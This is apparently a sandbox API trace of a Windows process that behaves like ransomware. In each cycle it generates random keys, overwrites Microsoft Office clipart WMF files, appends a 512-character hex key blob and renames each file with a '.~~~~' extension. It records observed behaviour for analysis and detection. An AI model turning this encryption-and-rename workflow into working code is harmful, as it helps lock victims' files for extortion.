	[0098.265] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xa4485d70, dwHighDateTime=0x1d60e1e)) 
	[0098.265] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0098.265] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0098.266] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0098.273] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2841840
	[0098.273] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0098.273] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2841840 | out: hHeap=0x300000) returned 1
	[0098.273] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fdc10
	[0098.273] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0098.273] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0098.273] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fdc10 | out: hHeap=0x300000) returned 1
	[0098.273] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x285e6d8
	[0098.273] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0098.273] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0098.274] GetLastError () returned 0x0
	[0098.274] GetLastError () returned 0x0
	[0098.274] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0098.274] GetLastError () returned 0x0
	[0098.274] GetLastError () returned 0x0
	[0098.605] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xffffef98, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0098.605] WriteFile (in: hFile=0x11c, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0x1068, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x25dfec0*=0x1068, lpOverlapped=0x0) returned 1
	[0098.606] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0098.606] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0098.606] WriteFile (in: hFile=0x11c, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0098.606] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0098.606] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0098.606] CloseHandle (hObject=0x11c) returned 1
	[0098.606] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0098.606] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107500.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107500.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107500.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107500.wmf.~~~~")) returned 1
	[0098.607] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0098.607] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0098.607] GetLastError () returned 0x0
	[0098.608] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0098.609] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0098.609] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0098.609] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0098.609] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0098.609] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0098.609] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=21859941800) returned 1
	[0098.609] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xa47cbbb0, dwHighDateTime=0x1d60e1e)) 
	[0098.609] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0098.609] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0098.609] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0098.610] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28418e8
	[0098.610] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0098.610] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28418e8 | out: hHeap=0x300000) returned 1
	[0098.610] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0098.610] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0098.610] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0098.610] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0098.610] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x285e938
	[0098.610] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0098.610] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0098.610] GetLastError () returned 0x0
	[0098.610] GetLastError () returned 0x0
	[0098.610] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0098.610] GetLastError () returned 0x0
	[0098.610] GetLastError () returned 0x0
	[0098.776] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xffffc948, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0098.776] WriteFile (in: hFile=0x11c, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0x36b8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x25dfec0*=0x36b8, lpOverlapped=0x0) returned 1
	[0098.777] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0098.777] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0098.777] WriteFile (in: hFile=0x11c, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0098.777] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0098.777] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0098.778] CloseHandle (hObject=0x11c) returned 1
	[0098.778] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0098.778] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107516.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107516.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107516.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107516.wmf.~~~~")) returned 1
	[0098.783] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0098.783] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0098.783] GetLastError () returned 0x0
	[0098.783] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0098.785] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0098.785] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0098.785] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0098.785] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0098.785] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0098.785] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=21877490831) returned 1
	[0098.785] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xa496ead0, dwHighDateTime=0x1d60e1e)) 
	[0098.785] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0098.785] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0098.785] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0098.785] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2841990
	[0098.785] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0098.785] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2841990 | out: hHeap=0x300000) returned 1
	[0098.785] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0098.785] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0098.785] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0098.785] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0098.785] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x285eb98
	[0098.785] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0098.785] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0098.786] GetLastError () returned 0x0
	[0098.786] GetLastError () returned 0x0
	[0098.786] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0098.786] GetLastError () returned 0x0
	[0098.786] GetLastError () returned 0x0
	[0098.797] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xffff9770, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0098.797] WriteFile (in: hFile=0x11c, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0x6890, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x25dfec0*=0x6890, lpOverlapped=0x0) returned 1
	[0098.798] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0098.798] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0098.798] WriteFile (in: hFile=0x11c, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0098.798] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0098.798] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0098.798] CloseHandle (hObject=0x11c) returned 1
	[0098.798] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0098.798] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107544.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107544.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107544.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107544.wmf.~~~~")) returned 1
	[0098.814] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0098.814] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0098.814] GetLastError () returned 0x0
	[0098.815] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0098.816] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0098.816] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0098.816] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0098.816] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0098.816] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0098.816] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=21880598592) returned 1
	[0098.816] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xa49bad90, dwHighDateTime=0x1d60e1e)) 
	[0098.816] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0098.816] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0098.816] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0098.816] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2841a70
	[0098.816] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0098.816] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2841a70 | out: hHeap=0x300000) returned 1
	[0098.816] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0098.816] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0098.816] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0098.816] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0098.816] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x285ed60
	[0098.816] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0098.817] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0098.817] GetLastError () returned 0x0
	[0098.817] GetLastError () returned 0x0
	[0098.817] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0098.817] GetLastError () returned 0x0
	[0098.817] GetLastError () returned 0x0
	[0098.859] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xfffff128, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0098.859] WriteFile (in: hFile=0x11c, lpBuffer=0x28f9050*, nNumberOfBytesToWrite=0xed8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28f9050*, lpNumberOfBytesWritten=0x25dfec0*=0xed8, lpOverlapped=0x0) returned 1
	[0098.859] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28f9050 | out: hHeap=0x300000) returned 1
	[0098.859] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0098.860] WriteFile (in: hFile=0x11c, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0098.860] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0098.860] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0098.860] CloseHandle (hObject=0x11c) returned 1
	[0098.860] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0098.860] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107718.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107718.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107718.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107718.wmf.~~~~")) returned 1
	[0098.861] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0098.861] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0098.861] GetLastError () returned 0x0
	[0098.862] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0098.863] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0098.863] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0098.863] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0098.863] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0098.863] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0098.863] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=21885318174) returned 1
	[0098.863] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xa4a2d1b0, dwHighDateTime=0x1d60e1e)) 
	[0098.863] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0098.863] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0098.863] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0098.863] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a9e88
	[0098.863] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0098.863] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a9e88 | out: hHeap=0x300000) returned 1
	[0098.863] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0098.864] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0098.864] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0098.864] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0098.864] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x285efc0
	[0098.864] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0098.864] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0098.864] GetLastError () returned 0x0
	[0098.864] GetLastError () returned 0x0
	[0098.864] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0098.864] GetLastError () returned 0x0
	[0098.864] GetLastError () returned 0x0
	[0098.885] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xffffea8c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0098.885] WriteFile (in: hFile=0x11c, lpBuffer=0x28f9050*, nNumberOfBytesToWrite=0x1574, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28f9050*, lpNumberOfBytesWritten=0x25dfec0*=0x1574, lpOverlapped=0x0) returned 1
	[0098.886] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28f9050 | out: hHeap=0x300000) returned 1
	[0098.886] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0098.886] WriteFile (in: hFile=0x11c, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0098.886] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0098.886] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0098.887] CloseHandle (hObject=0x11c) returned 1
	[0098.887] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0098.887] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107728.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107728.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107728.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107728.wmf.~~~~")) returned 1
	[0098.888] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0098.888] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0098.888] GetLastError () returned 0x0
	[0098.889] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0098.890] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0098.890] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0098.890] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0098.890] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
